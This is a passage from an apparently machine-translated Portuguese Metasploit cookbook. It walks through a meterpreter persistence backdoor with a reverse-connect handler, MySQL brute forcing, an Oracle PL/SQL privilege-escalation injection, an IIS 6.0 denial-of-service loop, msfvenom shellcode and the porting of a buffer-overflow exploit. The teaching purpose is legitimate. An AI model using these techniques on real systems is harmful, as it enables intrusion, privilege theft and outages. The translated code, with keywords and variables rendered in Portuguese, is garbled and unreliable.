fim
Esta função inicia a gravação de arquivos no disco. Ele salva os vários arquivos backdoor nas
pastas e diretórios criados na função anterior. A chamada Rex::Text.rand_text_ alpha((rand(8)+6)) +
".vbs" gera um texto aleatório para o nome do arquivo a ser criado no diretório temporário. A chamada
fd.write() grava os arquivos no disco.
mul.datastore['LHOST'] = assado
mul.datastore['LPORT'] = relatório
mul.datastore['EXITFUNC'] = 'processo'
mul.datastore['ExitOnSession'] = falso
mul.exploit_simple('Carga útil'
=> mul.datastore['PAYLOAD'],
'RunAsJob' => verdadeiro
Esta função cria um manipulador múltiplo para se conectar de volta ao sistema de ataque. Esta é, novamente,
uma função geral que pode ser usada em seu script se você quiser um recurso de conexão automática,
definindo um manipulador múltiplo.
def targets_exec(script_on_target)
print_status("Executando script #{script_on_target}")
167
Machine Translated by Google
fim
Esta função é responsável por executar o script na máquina de destino. O script de persistência cria scripts vbs
na máquina de destino, portanto, eles devem ser executados para abrir uma conexão. A função Targets_exec()
resolve esse propósito. Esta função pode ser usada novamente como uma função geral em seu próprio script se
você quiser executar scripts na máquina de destino. A chamada session.sys.process.execute() é responsável
por executar o script e o proc.pid retorna o ID do processo backdoor criado.
A parte restante do código é autoexplicativa onde essas funções são chamadas, um script claro é criado e uma
verificação de opção é implementada. Esta receita pode ter lhe dado uma ideia clara do que acontece em
segundo plano quando executamos um script meterpreter. É muito essencial do ponto de vista de um testador de
caneta ser capaz de ler e modificar os códigos de acordo com o cenário de trabalho. É aqui que reside a beleza da
estrutura de código aberto. Você pode fazer modificações de acordo com suas necessidades e aprender analisando
diretamente os códigos-fonte disponíveis.
168
Machine Translated by Google
Introdução
No primeiro capítulo, onde discutimos sobre os fundamentos do framework Metasploit, afirmamos que ele
possui uma arquitetura modular. Isso significa que todos os exploits, payloads, codificadores e assim por
diante estão presentes na forma de módulos. A arquitetura modular facilita a extensão da funcionalidade da
estrutura. Qualquer programador pode desenvolver seu próprio módulo e portá-lo facilmente no framework.
Um processo de teste de penetração completo pode incluir vários módulos em operação.
Por exemplo, começamos com um módulo de exploração, então usamos um módulo de carga útil, então
podemos usar vários módulos de pós-exploração uma vez que o alvo foi comprometido. Por fim, também
podemos usar diferentes módulos para conectar ao banco de dados e armazenar nossas descobertas e
resultados. Embora os módulos não sejam muito falados ao trabalhar com o Metasploit, eles formam o
cerne do framework, por isso é essencial ter um entendimento profundo dele.
Machine Translated by Google
O Metasploit nos fornece uma lista completa desses scanners úteis. Vamos seguir em frente e
implementar na prática alguns deles.
Preparando-se
Para encontrar a lista de scanners disponíveis, teremos que navegar até /pentest/exploits/framework3/
modules/auxiliary/scanner.
Você pode encontrar uma coleção de mais de 35 módulos de varredura úteis que podem ser usados
em vários cenários de teste de penetração.
Considere o script dir_scanner . Isso fará a varredura de um único host ou de uma gama completa
de redes para procurar diretórios interessantes e listagens que possam ser mais exploradas para
coletar informações.
Para começar a usar um módulo auxiliar, teremos que executar os seguintes passos em
nosso msfconsole:
Opções do módulo:
170
Machine Translated by Google
Capítulo 7
O comando show options listará todos os parâmetros opcionais disponíveis que você pode passar junto
com o módulo do scanner. O mais importante é o parâmetro RHOSTS , que nos ajudará a direcionar um
único computador ou vários computadores em uma rede.
Como funciona...
Vamos discutir um módulo de scanner específico envolvendo algumas entradas extras. O módulo
mysql_login scanner é um módulo de força bruta que verifica a disponibilidade do servidor MySQL no
destino e tenta fazer login no banco de dados por meio de um ataque de força bruta:
Como você pode ver, existem muitos parâmetros diferentes que podemos passar com este módulo.
Quanto melhor aproveitarmos os poderes de um módulo, maiores serão nossas chances de sucesso
no teste de penetração. Podemos fornecer uma lista completa de nomes de usuários e senhas que o
módulo pode usar e experimentar na máquina de destino.
171
Machine Translated by Google
Agora estamos prontos para usar a força bruta. A última etapa será selecionar o alvo e fornecer o comando
run para executar o módulo:
A saída mostra que o módulo inicia o processo procurando primeiro pela presença do servidor MySQL no
destino. Depois de descobrir, ele começa a tentar as combinações de nomes de usuário e senha fornecidos
a ele por meio do arquivo de texto externo. Essa também é uma das operações modulares do Metasploit
mais utilizadas no cenário atual. Muitos módulos automatizados de força bruta foram desenvolvidos para
quebrar senhas fracas.
Tem mais...
Vamos ver uma maneira rápida e fácil de gerar arquivos de senha usando o Metasploit.
Ter uma lista decente de arquivos de senha pode ser útil durante testes de penetração de força bruta.
root@bt: cd /pentest/senhas
172
Machine Translated by Google
Capítulo 7
Uma documentação completa sobre o utilitário crunch pode ser encontrada no seguinte URL:
http://sourceforge.net/projects/crunch-wordlist/files/crunch wordlist/
Você pode consultar a documentação completa para descobrir como podemos usar esse utilitário para gerar listas
de senhas longas e complexas.
Preparando-se
O módulo mysql_enum é um módulo utilitário especial para servidores de banco de dados MySQL.
Este módulo fornece uma enumeração simples do servidor de banco de dados MySQL, desde que as
credenciais apropriadas sejam concedidas para se conectar remotamente. Vamos entendê-lo em detalhes
usando o módulo.
173
Machine Translated by Google
Como você pode ver, o módulo aceita senha, nome de usuário e RHOST como parâmetros. Isso pode
ajudar o módulo a pesquisar primeiro a existência de um banco de dados MySQL e, em seguida, aplicar as
credenciais para tentar o login remoto. Vamos analisar a saída do comando exploit :
O módulo responde com muitas informações úteis. Ele nos diz que o cmdshell e o acesso remoto foram
ativados em nossa configuração de destino do MySQL. Ele também retorna o nome do banco de dados
que está atualmente em processamento na máquina de destino.
Existem vários módulos semelhantes disponíveis para outros serviços, como MSSQL e Apache.
O processo de trabalho é semelhante para a maioria dos módulos. Lembre-se de usar o comando show
options para certificar-se de que está passando os parâmetros necessários para o módulo.
174
Machine Translated by Google
Capítulo 7
Como funciona...
Esses módulos administrativos auxiliares funcionam por meio de um processo de enumeração simples,
iniciando uma conexão e passando a combinação de nome de usuário e senha. Também pode ser
usado para verificar se o login anônimo é suportado pelo servidor de banco de dados ou não. Também
podemos testar um nome de usuário e senha padrão, como o MySQL usa "scott" e "tiger" como credenciais
de login padrão.
Preparando-se
O módulo de injeção SQL usa uma vulnerabilidade conhecida no tipo de banco de dados para
explorá-lo e fornecer acesso não autorizado. A vulnerabilidade é conhecida por afetar o Oracle 9i e 10g.
Metasploit contém vários módulos que usam uma exploração conhecida no banco de dados Oracle para
quebrá-los por meio de injeção de consulta. Os módulos podem ser encontrados em modules/auxiliary/sqli/
oracle.
175
Machine Translated by Google
O módulo solicita parâmetros semelhantes aos que vimos até agora. O banco de dados primeiro verifica
o login usando as credenciais de login padrão, ou seja, "scott" e "tiger" como nome de usuário e senha
padrão, respectivamente. Depois que o módulo obtém login como usuário do banco de dados, ele executa a
exploração para escalar o privilégio para o administrador do banco de dados. Vamos executar o módulo como
um teste em nosso alvo.
O próximo módulo que abordaremos está relacionado ao ataque de negação de serviço (DOS) .
Analisaremos uma vulnerabilidade simples do IIS 6.0 que permite ao invasor travar o servidor enviando
uma solicitação POST contendo mais de 40.000 parâmetros de solicitação. Analisaremos a vulnerabilidade
em breve. Este módulo foi testado em um servidor Windows 2003 sem patch executando o IIS 6.0. O módulo
que usaremos é ms10_065_ii6_asp_dos:
176
Machine Translated by Google
Capítulo 7
Assim que o módulo for executado usando o comando run, ele começará a atacar o servidor IIS de
destino enviando uma solicitação HTTP na porta 80 com o URI como page.asp. A execução bem-sucedida
do módulo levará a uma negação completa do serviço do servidor IIS.
Como funciona...
Vamos dar uma olhada rápida nas duas vulnerabilidades. A vulnerabilidade do banco de dados
oracle é explorada injetando uma função PL/SQL personalizada que é executada no contexto SYS
e eleva o privilégio do usuário "scott" como administrador.
COMEÇAR
RETORNAR '';
FIM; /
Agora, injetar essa função no procedimento vulnerável levará a uma escalação de privilégio para o
usuário scott.
SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','')
DE duplo;
Agora movendo o módulo de ataque do DOS que explora a vulnerabilidade no servidor IIS 6.0.
O invasor envia uma solicitação POST que inclui mais de 40.000 parâmetros de solicitação e é enviada
na forma de um tipo de codificação application/x-www-form-urlencoded .
enquanto (1)
começar
conectar
|| rhost}\r\n"
177
Machine Translated by Google
próximo
fim
fim
Como você pode ver, o script gera um tamanho de carga de mais de 40.000. Em seguida, uma conexão é
estabelecida na porta 80 para enviar uma solicitação HTTP ao servidor IIS. Depois que a solicitação for
processada pelo servidor, ela travará e parará de funcionar, a menos que seja reiniciada.
Módulos de pós-exploração
Até agora, trabalhamos muito na fase de pós-exploração usando vários poderes do meterpreter.
No entanto, também temos uma lista dedicada separada de módulos que podem aprimorar nossa experiência
de teste de penetração. Como são módulos pós-exploração, precisaremos de uma sessão ativa com nosso
alvo. Podemos usar qualquer um dos métodos descritos nos capítulos anteriores para obter acesso ao
nosso alvo.
Preparando-se
O módulo post é uma coleção de alguns dos recursos mais interessantes e úteis que você pode usar durante
o teste de penetração. Vamos analisar rapidamente alguns deles aqui. Aqui, estamos usando uma máquina
Windows 7 sem patch como nosso destino com uma sessão ativa do meterpreter.
Executaremos o módulo por meio de nossa sessão meterpreter ativa. Além disso, lembre-se de escalar
o privilégio usando o comando getsystem para evitar erros durante a execução do módulo.
178
Machine Translated by Google
Capítulo 7
SID Do utilizador
--- ----
S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-23502 C:\Usuários\DARKLORD
S-1-5-21-235 C:\Usuários\Winuser
A execução bem-sucedida do módulo nos mostra duas tabelas. A primeira tabela reflete o usuário
conectado no momento e a segunda tabela reflete o usuário conectado recentemente. Siga o
caminho correto ao executar os módulos. Usamos o comando run para executar os módulos, pois
estão todos na forma de script Ruby para que o meterpreter possa identificá-lo facilmente.
179
Machine Translated by Google
Você deve ter notado como os módulos de postagem podem ser fáceis e úteis. No futuro próximo, os
desenvolvedores do Metasploit estarão se concentrando mais nos pós-módulos do que no meterpreter, pois
aprimora muito a funcionalidade do teste de penetração. Portanto, se você deseja contribuir para a comunidade
Metasploit, pode trabalhar nos módulos de postagem.
Como funciona...
Podemos analisar os scripts de enum_logged_on_user.rb e screen_spy.rb em modules/post/windows/
gather. Isso pode nos ajudar a obter informações sobre como esses módulos funcionam.
Preparando-se
Para começar a construir nosso próprio módulo, precisaremos de conhecimentos básicos de script
Ruby. Já discutimos o uso e implementação de Ruby em scripts meterpreter. Nesta receita, veremos como
podemos usar Ruby para começar a construir módulos para o framework. O processo é muito semelhante
ao script meterpreter. A diferença está em utilizar um conjunto de linhas pré-definidas que serão necessárias
para que o framework entenda os requisitos e a natureza do módulo. Então, vamos discutir alguns dos
requisitos essenciais para a construção do módulo.
Como funciona...
Vamos começar com alguns dos fundamentos da construção de módulos. Para tornar nosso módulo legível
para o framework, teremos que importar bibliotecas MSF:
requer 'msf/núcleo'
180
Machine Translated by Google
Capítulo 7
Esta é a primeira e principal linha de cada script. Esta linha informa que o módulo incluirá todas as
dependências e funcionalidades do framework Metasploit.
Esta linha define a classe que herda as propriedades da família auxiliar. O módulo auxiliar pode
importar diversas funcionalidades como escaneamento, abertura de conexões, utilização do banco de
dados, etc:
incluir MSF::
A instrução include pode ser usada para incluir uma funcionalidade específica da estrutura em nosso
próprio módulo. Por exemplo, se estivermos construindo um módulo de scanner, podemos incluí-lo como:
include Msf::Exploit::Remote::TCP
Esta linha incluirá a funcionalidade de uma varredura TCP remota no módulo. Esta linha extrairá as
principais bibliotecas do módulo de varredura da biblioteca Metasploit:
def inicializar
super(
'Nome' => 'Scanner de porta TCP',
'Versão' => '$Revisão$',
As próximas linhas de script nos dão uma introdução sobre o módulo como seu nome, versão, autor,
descrição e assim por diante:
opções_cadastrar(
deregister_options('RPORT')
181
Machine Translated by Google
As próximas linhas do script são usadas para inicializar valores para o script. As opções marcadas como
verdadeiras são aquelas essencialmente necessárias para os módulos, enquanto as opções marcadas como não
são opcionais. Estes valores podem ser passados/alterados durante a execução do módulo.
Estas são algumas linhas comuns de script que você encontrará em cada módulo. A análise de scripts integrados é
a melhor maneira de aprender mais sobre a criação de scripts. Existem algumas documentações disponíveis para
a construção de módulos de aprendizagem. A melhor maneira de aprender é dominando o script Ruby e analisando
os módulos existentes. Na próxima receita, analisaremos um módulo completo do zero.
Preparando-se
Analisaremos um módulo ftp simples aqui para mergulhar mais fundo na construção do módulo.
Continuaremos de onde paramos na receita anterior. Já discutimos o modelo básico do módulo na receita
anterior, então aqui começaremos a partir do corpo principal do script.
def inicializar
super(
'Nome' => 'Detecção de acesso FTP anônimo',
'Versão' => '$Revisão: 14774 $',
182
Machine Translated by Google
Capítulo 7
'Referências' =>
[
['URL', 'http://en.wikipedia.org/wiki/File_Transfer_
Protocol#Anonymous_FTP'],
],
'Autor' => 'Matteo Cantoni <goony[at]nothink.org>', => MSF_LICENSE
'Licença'
opções_cadastrar(
[
Opção::RPORT(21),
], self.class)
fim
def run_host(target_host)
começar
banner.strip! se estandarte
183
Machine Translated by Google
)
fim
desconectar
resgatar ::Interromper
aumentar $!
resgate ::Rex::ConnectionError, ::IOError
fim
fim
fim
Como funciona...
Vamos começar com a análise do corpo do script principal para entender como ele funciona:
Esta função é usada para iniciar a conexão. A variável res contém o valor booleano verdadeiro ou falso. A
função connect_login é uma função específica usada pelo módulo para estabelecer uma conexão com o host
remoto. Dependendo do sucesso ou falha da conexão, o valor booleano é armazenado em res.
se res
outro
print_status("#{target_
host}:#{rport} Anônimo access_type="ro"
184
Machine Translated by Google
Capítulo 7
Uma vez estabelecida a conexão, o módulo tenta verificar se o usuário anônimo tem privilégios de leitura/
escrita ou não. A variável write_check verifica se uma operação de gravação é possível ou não. Em seguida, é
verificado se a operação foi bem-sucedida ou não. Dependendo do status do privilégio, uma mensagem é
impressa na tela. Se a operação de gravação falhar, o status será impresso como ro ou somente leitura:
report_auth_info(
:host => target_host, :port =>
rport, :sname => 'ftp', :user =>
datastore['FTPUSER'],
fim
A próxima função é usada para relatar informações de autorização. Ele reflete parâmetros importantes,
como host, porta, usuário, senha e assim por diante. Esses são os valores que aparecem para nós quando
usamos o comando show options , portanto, esses valores dependem do usuário.
Esta foi uma demonstração rápida de como um módulo simples funciona dentro da estrutura.
Você pode alterar os scripts existentes de acordo com suas necessidades. Isso torna a plataforma
extremamente portátil para desenvolvimento. Como já disse, a melhor forma de aprender mais sobre a
construção de módulos é analisando os scripts existentes.
Na próxima receita, veremos como construir nosso próprio módulo e passá-lo para o framework.
185
Machine Translated by Google
Para começar a construir o módulo, vamos primeiro importar as bibliotecas do framework e incluir as
dependências necessárias:
def inicializar(info={})
super( update_info( info,
O script começa incluindo as bibliotecas principais do Metasploit. Em seguida, construímos a classe que
estende as propriedades dos módulos Msf::Post.
Em seguida, criamos a função initialize que é usada para inicializar e definir as propriedades e a descrição
do módulo. Essa estrutura básica permanece a mesma em quase todos os módulos.
O que deve ser observado aqui é que incluímos bibliotecas 'rex' e 'registry'. Isso facilitará a estrutura
para descobrir nossos requisitos no módulo.
Agora, nosso próximo passo será criar uma tabela que possa exibir nosso resultado extraído. Temos
uma biblioteca especial Rex::Ui::Text que pode ser usada para esta tarefa. Teremos que definir
diferentes colunas:
186
Machine Translated by Google
Capítulo 7
"Versão"
])
teclas de aplicativo = [
'HKLM\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Desinstalar',
'HKCU\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Desinstalar',
'HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\
Windows\\CurrentVersion\\Desinstalar',
'HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\
Windows\\CurrentVersion\\Desinstalar',
]
apps = []
appkeys.each do |keyx86| found_keys
= Registry_enumkeys(keyx86) if found_keys found_keys.each
faça |ak|
O corpo do script começa com a construção da tabela e o fornecimento de diferentes nomes de colunas.
Em seguida, é criada uma matriz separada de locais de registro que será usada para enumerar a lista de
aplicativos. A matriz consistirá em diferentes entradas de registro que contêm informações sobre os
aplicativos instalados na máquina de destino. As informações do aplicativo são mantidas em uma matriz
separada denominada apps.
Em seguida, iniciamos o processo de enumeração executando um loop que examina diferentes locais
de registro armazenados na matriz appskey :
t = []
while(não apps.empty?) 1.upto(16)
faça
t << framework.threads.spawn("Module(#{self.refname})", false, apps.shift) do |k| begin dispnm =
Registry_getvaldata("#{k}","DisplayName") dispversion = Registry_getvaldata("#{k}","DisplayVersion") tbl <<
[dispnm,dispversion] se dispnm e dispversion
resgatar
fim
fim
187
Machine Translated by Google
As próximas linhas do script preenchem a tabela com valores diferentes nas respectivas colunas.
O script usa uma função interna Registry_getvaldata que busca os valores e os adiciona à tabela:
resultados = tbl.to_s
print_line("\n" + resultados + "\n") p =
store_loot("host.applications", "text/plain", sessão, resultados,
"applications.txt", "Aplicativos instalados") print_status("Resultados armazenados em: #{p}")
fim
corrida definitiva
fim
fim
As últimas linhas do script são usadas para armazenar as informações em um arquivo de texto separado
chamado applications.txt. O arquivo é preenchido usando a função store_loot que armazena a tabela
completa no arquivo de texto.
Por fim, uma saída é exibida na tela informando que o arquivo foi criado e os resultados foram
armazenados nele.
O próximo passo será armazenar o programa completo em um respectivo diretório. Você deve se
certificar de que escolheu o diretório correto para armazenar seu módulo. Isso ajudará a estrutura a
entender claramente a utilidade do módulo e manterá uma hierarquia.
Manter uma hierarquia durante a atualização dos módulos ajudará a manter um controle adequado do que
exatamente o módulo está direcionando. Por exemplo, manter um módulo do Internet Explorer no diretório
modules/exploits/windows/browser nos ajudará a localizar facilmente qualquer módulo de navegador novo ou
existente nesse local.
Para identificar o local de armazenamento do módulo, existem os seguintes pontos que você deve observar:
f Tipo de módulo
O Metasploit segue a hierarquia do formato 'generalizado para especializado' para armazenar módulos.
Começa com o tipo de módulos, como um módulo de exploração ou um módulo auxiliar. Em seguida, ele
escolhe um nome generalizado, por exemplo, o nome de um sistema operacional afetado. Em seguida, ele
cria uma funcionalidade mais especializada, por exemplo, o módulo é usado para navegadores. Finalmente, a
nomenclatura mais específica é usada como o nome do navegador que o módulo está direcionando.
188
Machine Translated by Google
Capítulo 7
Vamos considerar nosso módulo. Este módulo é um módulo de pós-exploração usado para enumerar um
sistema operacional Windows e reunir informações sobre o sistema.
Portanto, nosso módulo deve seguir esta convenção para armazenamento.
Você pode salvar o módulo com o nome desejado e com a extensão a.rb. Vamos salvá-lo como enum_applications.rb.
Como funciona...
Depois de salvar o módulo em seu diretório preferido, o próximo passo será executá-lo e verificar se está funcionando
bem. Já vimos o processo de execução do módulo em receitas anteriores. O nome do módulo é usado para executá-lo
a partir do terminal MSF:
Este foi um pequeno exemplo de como você pode construir e adicionar seu próprio módulo ao framework.
Você definitivamente precisa de um bom conhecimento de scripts Ruby se quiser construir bons módulos.
Você também pode contribuir para a comunidade Metasploit lançando seu módulo e permitindo que outros se beneficiem
dele.
189
Machine Translated by Google
Machine Translated by Google
Introdução
Vamos começar este capítulo com uma introdução formal aos exploits. Exploit pode ser um pedaço de
software, um bloco de dados ou uma sequência de comandos que tira proveito de uma vulnerabilidade ou um bug em
outro software para executar instruções intencionadas pelo usuário. Essas instruções intencionadas pelo usuário
podem causar um comportamento incomum no software vulnerável. Os exploits desempenham um papel vital nos
testes de penetração, pois podem fornecer uma entrada fácil no sistema de destino.
Até agora, usamos extensivamente o poder dos exploits para realizar testes de penetração. O ponto a ser observado
aqui é que não podemos usar diretamente nenhuma prova de conceito independente ou código de exploração na
estrutura do Metasploit. Teremos que convertê-lo em um módulo compreensível de estrutura.
O processo é semelhante ao desenvolvimento de módulos auxiliares com alguns campos adicionais. Este
capítulo cobrirá todos os detalhes que você precisa saber enquanto estiver trabalhando com exploits dentro da
estrutura. Não cobriremos os aspectos relacionados ao desenvolvimento de explorações, pois é uma área de
estudo separada. Aqui, usaremos a prova de conceitos de exploits disponível e veremos como ela pode ser adicionada
à estrutura. Também aprenderemos sobre alguns mixins importantes que podem facilitar o processo de conversão de
exploits no módulo Metasploit. No final, abordaremos algumas receitas com foco nos módulos fuzzing. Então, vamos
seguir em frente com as receitas.
Machine Translated by Google
Preparando-se
Vamos começar a receita com a compreensão da estrutura modular de exploits dentro da estrutura. É
semelhante a uma estrutura auxiliar com alguns campos específicos. Você pode encontrar os módulos de
exploração no diretório /pentest/exploits/framework3 . Vamos analisar a estrutura dos exploits no MSF.
requer 'msf/núcleo'
O módulo começa incluindo as bibliotecas principais do MSF no script, juntamente com a declaração de
uma classe que estende as propriedades relevantes para o exploit. Neste exemplo, a classe Metasploit3 estende
as bibliotecas Remote Exploit . Além disso, o script inclui outras bibliotecas, como TCP:
192
Machine Translated by Google
Capítulo 8
Então, temos a função initialize que é usada para inicializar os diferentes valores e definição
de conteúdo sobre os módulos. Algumas das definições principais dessa função incluem Nome,
Descrição, Autor, Versão e assim por diante:
opções_cadastrar(
[
Opt::RPORT(7777), ],
self.class)
fim
Em seguida, temos a parte de opções de registro do script que é responsável por fornecer os valores
essenciais e padrão do script. Os valores também podem ser alterados de acordo com a necessidade do
usuário. Até agora, tem sido muito semelhante aos módulos auxiliares. A diferença está na definição da
função exploit() :
exploração def
conectar()
sock.put(payload.encoded) manipulador()
desconectar()
fim
Este é o principal corpo de exploração do módulo que contém o código shell ou o padrão de exploração.
O conteúdo desta função varia de exploit para exploit. Alguns dos principais recursos que podem existir em uma
exploração remota estão listados no corpo da função. connect() é usado para abrir uma conexão remota com o
alvo. É uma função definida na biblioteca Remote::TCP . Uma carga útil também é uma parte essencial do exploit
body, que ajuda na configuração de conexões de retorno. Também podemos definir manipuladores no corpo do
exploit, dependendo da necessidade.
Opcionalmente, você também pode declarar uma função de teste de vulnerabilidade, check(), que verifica se o alvo
é vulnerável ou não. Ele verifica todas as opções, exceto a carga útil.
Esta foi uma introdução básica para explorar os módulos do Metasploit. Nas receitas posteriores, discutiremos
alguns conceitos básicos relacionados a exploits na estrutura.
Como funciona...
A estrutura do módulo exploit que acabamos de analisar é a maneira do Metasploit de tornar as coisas
compreensíveis. Considere a função def initialize(). Esta parte ajuda o módulo a selecionar definições comuns
de exploração. Da mesma forma, register_options() é usado pelo Metasploit para selecionar parâmetros
diferentes ou atribuir valores de parâmetro padrão ao módulo de exploração. É aqui que a arquitetura modular se
torna útil. Mais adiante neste capítulo, veremos como converter um código de exploração existente em um módulo
Metasploit.
193
Machine Translated by Google
f Exploit::Remote::FTP: Este mixin pode ser usado para explorar um serviço FTP no alvo remoto. O mixin
inclui Remote::TCP para configurar uma conexão com o alvo remoto. Ele usa a função connect() que
recebe valores de RHOST e RPORT para se conectar com o servidor FTP no sistema remoto.
194
Machine Translated by Google
Capítulo 8
f Exploit::Capture: Este mixin é útil para farejar pacotes de dados que fluem no
rede. A função open_pcap() é usada para configurar um dispositivo para capturar pacotes que fluem
através dele. Este mixin requer a presença do pcap instalado na máquina.
Duas funções importantes deste mixin incluem inject(pkt="", pcap=self. capture) e inject_reply().
O primeiro é responsável por injetar pacotes em dispositivos de rede, enquanto a última função é
responsável por relatar o pacote resultante retornado pelo dispositivo, dependendo do pacote injetado.
Estes são alguns dos mixins de exploração importantes que podem ser muito úteis quando você está trabalhando
com módulos de exploração dentro da estrutura. O uso de mixins reduz a sobrecarga de recodificar os mesmos
módulos repetidamente. Esta é a razão pela qual a arquitetura modular é muito flexível, pois facilita a reutilização
de código.
Como funciona...
Como afirmado anteriormente, mixins são usados para fornecer herança múltipla em uma linguagem de
herança única como Ruby. O que queremos dizer com isso é que podemos chamar diferentes
funcionalidades em qualquer módulo dependendo da nossa necessidade. Por exemplo, se quisermos
estabelecer uma conexão TCP em nosso módulo de exploração, não é necessário definir uma função
completa para ele. Podemos simplesmente chamar o mixin, Exploit::Remote::TCP, em nosso módulo e aproveitar sua funcionalidade.
Tem mais...
Vamos listar alguns mixins mais importantes.
Preparando-se
Para iniciar nosso experimento com msfvenom, abra a janela do terminal e passe o comando msfvenom
–h .
195
Machine Translated by Google
root@bt:~# msfvenom -h
Opções:
-p, --payload stdin para [carga útil] Carga útil a ser usada. Especifique um '-' ou
usar custom..
-l, --list [module_type] Lista um exemplo de tipo de módulo: payloads, encoders, nops, all
-f, --format [formato] ruby, rb, perl, pl, bash.. Formato para saída de resultados em: raw,
-x, --template [caminho] usar como Especifique um arquivo executável personalizado para
modelo
Existem alguns parâmetros interessantes a serem observados. O parâmetro –n cria um NOP sled do
tamanho da carga útil. Outro parâmetro interessante é –b , que nos dá o poder de evitar caracteres comuns
de um exploit como \x00. Isso pode ser muito útil para evitar programas antivírus. O resto dos parâmetros
são semelhantes aos que podemos encontrar em msfpayload e msfencode.
Um NOP slide, NOP sled ou NOP ramp é uma sequência de instruções NOP
(sem operação) destinadas a "deslizar" o fluxo de execução de instruções da
CPU para seu destino final desejado.
196
Machine Translated by Google
Capítulo 8
Como funciona...
Para usar msfvenom, teremos que passar um payload junto com um estilo de codificação. Vamos executar esta tarefa na
janela do terminal:
[*] x86/shikata_ga_nai teve sucesso com tamanho 325 (iteração=1) [*] x86/shikata_ga_nai
teve sucesso com tamanho 352 (iteração=2) [*] x86/shikata_ga_nai teve sucesso com
tamanho 379 (iteração=3)
buf =
"\xdb\xdb\xbe\x0a\x3a\xfc\x6d\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x52\x31\x72\x18\x83\xea\xfc\x03\x72\x1e\xd8\x09\xb6" +
"\xce\xc5\x86\x6d\x1a\xa8\xd8\x88\xa8\xbc\x51\x64\xe5\xf2" +
"\xd1\xb7\x80\xed\x66\x72\x6e\x0d\x1c\x68\x6a\xae\xcd\x0e" +
"\x33\x90\x1d\x73\x82\xd8\xd7\xe0\x87\x76\xbd\x25\xf4\x23" +
"\x4d\x38\xc2\xc3\xe9\xa1\x7e\x31\xc5\xe4\x84\x2a\x3b\x37" +
"\xb3\xd6\x13\xc4\x09\x89\xd0\x95\x21\x10\x6b\x83\x94\x3d" +
Observe os diferentes parâmetros que foram passados junto com a carga útil. A presença do parâmetro –b evitará o
uso de \x00 (bytes nulos) no código shell. Podemos usar esse código shell em nosso programa de exploração.
msfvenom pode ser uma ferramenta muito útil para gerar rapidamente códigos de shell usando diferentes cargas úteis
disponíveis na estrutura. Esses códigos de shell podem ser implementados no código de exploração para fornecer
conexão reversa com o invasor assim que a vulnerabilidade for explorada.
197
Machine Translated by Google
Preparando-se
Para começar, vamos selecionar qualquer exploit que possamos converter em um módulo. Vamos considerar o exploit
gAlan Zero day que pode ser baixado de http://www.exploit-db.com/exploits/10339.
gAlan é uma ferramenta de processamento de áudio (on-line e off-line) para X Windows e Win32.
Ele permite que você construa sintetizadores, cadeias de efeitos, mixers, sequenciadores, baterias eletrônicas e
assim por diante de forma modular, vinculando ícones que representam componentes primitivos de processamento
de áudio.
Uma exploração para gAlan funcionará apenas quando a vítima estiver usando esse aplicativo e o invasor tiver conhecimento
disso de antemão. Portanto, é imperativo que o invasor saiba quais aplicativos estão instalados na máquina da vítima.
No software, um estouro de pilha ocorre quando muita memória é usada na pilha de chamadas. A pilha de chamadas é a
pilha de tempo de execução do software que contém uma quantidade limitada de memória, geralmente determinada no início
do programa. O tamanho da pilha de chamadas depende de muitos fatores, incluindo a linguagem de programação,
arquitetura da máquina, multiencadeamento e quantidade de memória disponível. Quando um programa tenta usar mais
espaço do que o disponível na pilha de chamadas, diz-se que a pilha estourou, normalmente resultando na falha do
programa. Essencialmente, ESP, EIP e EAX são os registros mais atacados durante uma exploração.
Como em uma pilha todos os registradores são armazenados linearmente, precisamos saber o tamanho exato do
buffer do registrador EIP , para que o estouro dele nos forneça o EAX e a subsequente execução do payload.
Assim que tivermos a prova de conceito do exploit, o próximo passo será coletar o máximo possível de informações
sobre o exploit. Vamos dar uma boa olhada na prova de conceito.
As primeiras linhas consistem no shellcode armazenado na variável $shellcode .
Isso pode ser gerado usando qualquer uma das cargas disponíveis na estrutura usando msfpayload ou msfvenom:
$magic = "Mjik"; =
$addr 0x7E429353; # JMP ESP @ user32,dll
$filename = "bof.galan";
198
Machine Translated by Google
Capítulo 8
O código principal do exploit começa com $magic , que contém uma string de quatro bytes. Em seguida, temos
a variável $addr que contém a localização do ponteiro da pilha ESP . Então temos a variável $filename contendo
o nome do arquivo a ser criado como uma fase de pós-exploração. $retaddr contém a localização do endereço
de retorno para onde o ponteiro da pilha apontará e levará à execução do código de exploração após o estouro.
Por fim, temos a execução do payload, que é responsável pela exploração e execução do shellcode.
Sabemos pelo exploit que nosso shellcode pode atingir no máximo 700 bytes.
Além disso, o comprimento total de nossa carga útil é de 1214 bytes. Esta informação será útil na
construção do nosso módulo.
Podemos usar um endereço de retorno repetido ou também podemos encontrar o tamanho quando o EIP
for substituído. Metasploit tem uma excelente ferramenta chamada pattern_create.rb que pode ajudar a encontrar
o local exato onde o EIP é substituído. Essa ferramenta gera uma sequência de padrões exclusivos que podem
ser passados para o código de exploração e usando um depurador; podemos descobrir qual padrão de string está
armazenado no EIP. Vamos criar uma string de 5000 caracteres:
Agora, edite o script de exploit para substituir $payload por outra variável de teste $junk e copie a string de 5000
caracteres nesta variável. Agora, teste a aplicação com este script e verifique qual padrão está armazenado no
EIP. Presumo que você esteja ciente dos fundamentos da reversão e depuração de aplicativos. Suponha que o
padrão de string armazenado no EIP seja "234abc".
Agora vamos usar outra ferramenta do Metasploit chamada pattern_offset.rb para calcular a posição onde
esse padrão existe na string que passamos:
1032
Portanto, o número total de bytes a serem passados para obter a localização exata do EIP é 1032.
Agora coletamos informações suficientes sobre o exploit e estamos prontos para convertê-lo em um módulo
Metasploit.
199
Machine Translated by Google
Como funciona...
Vamos começar a construir nosso módulo. A primeira e principal linha de script será importar bibliotecas e criar a
classe pai. Em seguida, definiremos a função initialize() que conterá informações sobre o exploit e também opções
de cadastro:
Explorar',
'Descrição' => %q{
